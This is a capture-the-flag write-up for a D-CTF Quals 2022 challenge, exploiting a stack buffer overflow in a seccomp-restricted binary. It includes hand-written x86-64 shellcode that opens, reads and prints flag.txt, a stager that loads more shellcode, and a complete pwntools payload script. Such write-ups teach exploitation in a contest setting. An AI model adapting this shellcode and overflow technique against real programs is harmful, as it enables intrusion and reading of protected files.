Details
The challenge was given to the D-CTF Quals 2022.
Description
Security is not just patching, sometimes we have to use all means to protect ourselves. Do you think you can overcome all the protections in place?
Flag Format: CTF{sha256}
Overview
There was one binary file provided and an IP to a server running it.
The binary is vulnerable to buffer overflow but is restricted to the syscalls it can make.
Solution
Decompiling the given executable using Ghidra we can see that the program reads more data (max 56 chars) from the user than it should (max 32 chars). The seccomp function calls some system functions to limit the available syscalls that we can make. Also, we can see that the input string has to start with “done” otherwise it will not reach the return instruction.
Running the binary with strace we can see the allowed syscalls
Those are open, read, write, exit. Making an educated guess from the previous pwn challenges, I tried to open, read and write the contents of “flag.txt”.
Checking the protections on the binary we can see that the stack is executable
We can also find a gadget that jumps to RSP, giving us direct control
First, we need a shellcode that opens, reads and writes the contents of “flag.txt” file
mov rax, 2 ; Open
lea rdi, [rsp-1000] ; File name
xor rsi, rsi ; O_RDONLY
syscall
mov rdi, rax ; Move file descriptor
xor rax,rax ; = 0 Read
lea rsi, [rsp-1200] ; Buffer
mov rdx, 100 ; Count
syscall
mov rax, 1 ; Write
mov rdi, 1 ; STDOUT
lea rsi, [rsp-1200] ; Buffer
mov rdx, 100 ; Count
syscall
This also needs a reference to the string “flag.txt”. The shellcode doesn’t fit in the buffer after the ESP pointer. For this we can jump before the pointer, at the start of the buffer
lea rax, [rsp-44]
push rax
ret
This doesn’t give us enough space for the shellcode. For this I used the read syscall to send more shellcode and not be limited by the buffer size.
xor rax, rax ; = 0 Read
xor rdi, rdi ; STDIN
lea rsi, [rsp - 1000] ; Buffer
mov rdx, 100 ; Count
syscall
add rsi, 0x10 ; Jump a bit forward from the buffer to avoid “flag.txt”
push rsi
ret
This creates a buffer of 100 bytes that can be read from the user and then jumps at that address with a small offset. This offset is where we put the file name (NULL terminated string) and some NOP instructions as padding. After creating the payload we just send it and get the flag.
from pwn import *
jmp_rsp = 0x0000000000400882
shellcode = b"\x48\x31\xC0\x48\x31\xFF\x48\x8D\xB4\x24\x18\xFC\xFF\xFF\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\x83\xC6\x10\x56\xC3"
shellcode2 = b"flag.txt\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\xC7\xC0\x02\x00\x00\x00\x48\x8D\xBC\x24\x18\xFC\xFF\xFF\x48\x31\xF6\x0F\x05\x48\x89\xC7\x48\x31\xC0\x48\x8D\xB4\x24\x50\xFB\xFF\xFF\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\x8D\xB4\x24\x50\xFB\xFF\xFF\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05"
jump_back = b"\x48\x8D\x44\x24\xD4\x50\xC3"
payload = b"done" + shellcode + b'\x90'*(36-len(shellcode)) + p64(jmp_rsp) + jump_back
payload = payload + b'A' * (0x38-len(payload))
payload += shellcode2
open("payload","wb").write(payload)
Visualization